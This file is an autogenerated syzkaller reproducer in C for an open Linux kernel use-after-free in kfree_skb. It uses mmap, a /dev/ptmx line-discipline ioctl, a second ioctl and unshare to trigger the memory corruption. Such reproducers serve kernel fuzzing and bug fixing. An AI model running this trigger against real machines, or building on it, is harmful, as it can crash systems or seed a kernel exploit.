syzkaller-repros/linux/2efb3f8aeca9b3509b31ea45d339cddc928c9a6a.c

// KASAN: use-after-free Read in kfree_skb
// https://syzkaller.appspot.com/bug?id=2efb3f8aeca9b3509b31ea45d339cddc928c9a6a
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

uint64_t r[1] = {0xffffffffffffffff};

int main(void)
{
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  intptr_t res = 0;
  memcpy((void*)0x20000040, "/dev/ptmx\000", 10);
  res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000040, 0, 0);
  if (res != -1)
    r[0] = res;
  *(uint32_t*)0x200000c0 = 0xf;
  syscall(__NR_ioctl, r[0], 0x5423, 0x200000c0);
  syscall(__NR_ioctl, r[0], 0x400455c8, 1);
  syscall(__NR_unshare, 0x40000000);
  return 0;
}